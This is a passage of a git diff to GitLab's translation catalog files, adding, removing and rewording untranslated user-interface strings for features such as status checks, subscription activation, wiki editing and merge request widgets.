+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30344,6 +30879,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30581,6 +31119,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30887,6 +31428,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30902,10 +31446,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -31127,18 +31674,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31172,9 +31758,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31229,6 +31812,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31334,6 +31920,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31445,6 +32034,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31469,6 +32061,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31580,42 +32175,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31625,18 +32271,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31655,6 +32331,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31877,6 +32556,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -32037,9 +32719,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32185,6 +32864,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32215,7 +32897,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32241,6 +32923,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32435,6 +33120,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32480,6 +33168,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32498,9 +33189,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32804,9 +33492,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32873,12 +33558,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32906,6 +33585,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32969,9 +33651,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -33014,9 +33693,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -33140,7 +33816,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33242,9 +33921,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33578,6 +34254,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33620,9 +34299,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33647,6 +34323,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33698,9 +34377,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33731,12 +34407,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33746,6 +34416,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33797,6 +34470,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33978,9 +34654,6 @@ msgstr[4] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -34095,9 +34768,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34215,13 +34885,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34251,9 +34921,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34454,6 +35121,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34679,6 +35349,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34922,6 +35595,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -35081,6 +35757,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35402,6 +36081,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35411,6 +36093,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35519,27 +36204,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35672,6 +36375,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35693,6 +36399,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35804,6 +36513,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36375,15 +37087,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36423,9 +37135,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36453,16 +37162,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36495,9 +37204,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36743,6 +37449,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36851,6 +37560,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36869,12 +37584,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36884,6 +37605,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36905,9 +37632,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -37076,6 +37800,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37280,6 +38007,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37391,9 +38121,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37676,10 +38412,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37718,6 +38454,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37748,9 +38487,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37951,9 +38687,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38292,6 +39025,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38548,6 +39320,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38628,7 +39403,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38732,6 +39507,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38792,9 +39570,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38822,10 +39597,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38867,9 +39639,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38885,12 +39654,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39309,6 +40084,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39432,6 +40213,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index 19c537cd00d..d379cabb9e2 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:15\n"
+"PO-Revision-Date: 2021-06-01 20:27\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -304,6 +304,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -619,9 +625,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -724,10 +727,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -868,6 +871,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -919,9 +928,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1042,9 +1048,15 @@ msgstr ""
msgid "%{userName}'s avatar"
